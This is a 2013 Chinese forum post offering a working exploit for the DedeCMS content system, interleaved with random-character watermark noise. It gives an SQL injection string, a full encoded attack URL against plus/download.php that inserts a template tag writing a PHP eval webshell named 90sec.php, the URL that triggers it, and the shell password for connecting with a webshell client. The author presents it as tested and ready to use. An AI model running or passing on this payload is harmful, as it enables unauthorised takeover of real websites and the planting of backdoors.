本帖最后由 土豆 于 2013-6-10 14:41 编辑 1 N. A, p- m1 I2 g* Z- x
! u, `6 `# ?. B3 o/ o" N+ m3 |1 C2 _+ c7 ]9 z( O
作者:鬼哥, @6 A# R5 Q6 L) ?$ e1 I
) J: W6 L3 B* K5 g- D7 B3 L
看贴不回，没JJ
5 l- }' D7 p0 j2 H! f+ V" C! J9 h' b: m" L9 r6 @; D
漏洞大家都知道是哪个。3 o& ~ t' l, R$ E
9 p2 k( f% h0 }
其实我一直在玩。。郁闷 虽然这个漏洞不是我第一个发现的，以前也是朋友告诉我。
# v0 I; m' p6 W
2 X% B3 J2 r& T3 Q6 i1 Z0 g& U但是没公开。我承认想自己留着玩。。以前这个漏洞应该很多人知道没发出来而已。
9 f; B. |$ h/ D0 I) a* I% g2 _7 t! U) m3 c/ \. `" L
刚看了出的几个exp .. 进后台。还得找后台路径 太麻烦了吧？
% S+ u8 G j3 a1 h% G. o `
" _; @* S5 r- {% \1 D9 kgetshell 很容易 。 既然刚发出来的是 sql方法getshell 我也看到几个人发了sql增加表mytag的内容。' W# n* i' `% }! B" R" P$ [5 Y2 i
6 w8 j' F; A& P但是测试了下。。失败
* O# ]1 W# g1 k' M g' L9 n( a0 ~9 u( V* Q- W) H
原因： 用的语句是update 很多站 mytag 里面都没内容。那么你用update 那有什么用 修改不了任何数据。只能用 INSERT 当然，语句带#就会暴 错误。。现在要做的饶过即可。以前也出过那么多dede sql 结合饶过，成功INSERT。
5 O) b1 E! j8 O5 P9 V3 X- i
2 G. [, G; K$ ?; g: G0 }构造语句：mytag` (aid,expbody,normbody) VALUES(9013,@`\'`,'{dede:php}file_put_contents(''90sec.php'',''<?php eval($_POST[guige]);?>'');{/dede:php}') # @`\'`
$ m7 Z9 f. v: w6 W6 l+ u k
* C C1 P: X% }3 M6 MEXP：' N6 P; k8 b4 x
0 [* @8 k( p, E8 A1 u
http://www.xxx.com/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=57&arrs2[]=48&arrs2[]=49&arrs2[]=51&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=57&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=103&arrs2[]=117&arrs2[]=105&arrs2[]=103&arrs2[]=101&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96
5 |' N/ Q2 X0 b# c4 e; ?: Q1 n) ]. t& g3 S' m {, Q, k
8 l; Q0 b9 ?7 M' n; X9 H" r' H
成功增加。: s+ R) Y. @: A j: r$ B) q0 s1 L
( ]3 E- W9 Z9 }9 F, V ~1 y6 s( H
访问http://www.xxx.com/plus/mytag_js.php?aid=9013
: m5 A# ?# p# X9 W9 R, K生成一句话木马.0 O/ n% P2 G3 R3 {4 ~5 p
菜刀连接 http://www.xxx.com/plus/90sec.php 密码 guige
) h+ \4 j% |- [$ T! u7 y l, i2 z% ?( z7 x5 u0 B
测试OK。 ( N2 D, `. p, c* h9 T
Q% e% _) a; R0 ~ / N; r8 l% W J4 p4 k
|
发表于 2013-6-10 16:49:18
收藏
支持
反对